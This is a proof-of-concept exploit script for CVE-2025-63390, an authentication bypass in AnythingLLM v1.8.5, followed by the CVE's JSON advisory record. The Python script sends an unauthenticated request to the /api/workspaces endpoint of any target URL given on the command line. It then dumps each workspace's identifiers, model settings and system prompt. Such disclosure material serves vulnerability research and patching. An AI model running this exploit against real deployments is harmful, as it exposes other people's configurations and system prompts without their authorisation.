CVE-2025-63390

import requests import json # CVE-2025-63390 PoC - AnythingLLM Authentication Bypass # Target: AnythingLLM v1.8.5 /api/workspaces endpoint def exploit_anythingllm(target_url): """ Exploit for CVE-2025-63390 This PoC demonstrates the authentication bypass in /api/workspaces endpoint """ # Target endpoint without authentication endpoint = "/api/workspaces" url = target_url.rstrip('/') + endpoint print(f"[*] Target: {url}") print(f"[*] Exploiting CVE-2025-63390...") try: # Send unauthenticated request response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Received workspace data") print(f"[+] Found {len(data.get('workspaces', []))} workspaces") # Display workspace details for workspace in data.get('workspaces', []): print(f"\n[*] Workspace: {workspace.get('name')}") print(f" ID: {workspace.get('id')}") print(f" Slug: {workspace.get('slug')}") print(f" Chat Provider: {workspace.get('chatProvider')}") print(f" Chat Model: {workspace.get('chatModel')}") print(f" System Prompt: {workspace.get('openAiPrompt', 'N/A')[:100]}...") print(f" Temperature: {workspace.get('temperature')}") return data else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://localhost:3001" exploit_anythingllm(target)

{"cve": {"id": "CVE-2025-63390", "sourceIdentifier": "[email protected]", "published": "2025-12-18T16:15:54.867", "lastModified": "2026-01-22T18:16:44.250", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authentication bypass vulnerability exists in AnythingLLM v1.8.5 in via the /api/workspaces endpoint. The endpoint fails to implement proper authentication checks, allowing unauthenticated remote attackers to enumerate and retrieve detailed information about all configured workspaces. Exposed data includes: workspace identifiers (id, name, slug), AI model configurations (chatProvider, chatModel, agentProvider), system prompts (openAiPrompt), operational parameters (temperature, history length, similarity thresholds), vector search settings, chat modes, and timestamps."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mintplexlabs:anythingllm:1.8.5:*:*:*:*:*:*:*", "matchCriteriaId": "8077D16C-0587-4C1D-AA91-AF94E14631A2"}]}]}], "references": [{"url": "https://gist.github.com/Cristliu/0897bceac5fdc2d945304b5087a84f14", "source": "[email protected]"}, {"url": "https://gist.github.com/Cristliu/ba529c99abec87102e5ef36435d02a6d", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/Mintplex-Labs/anything-llm/issues", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}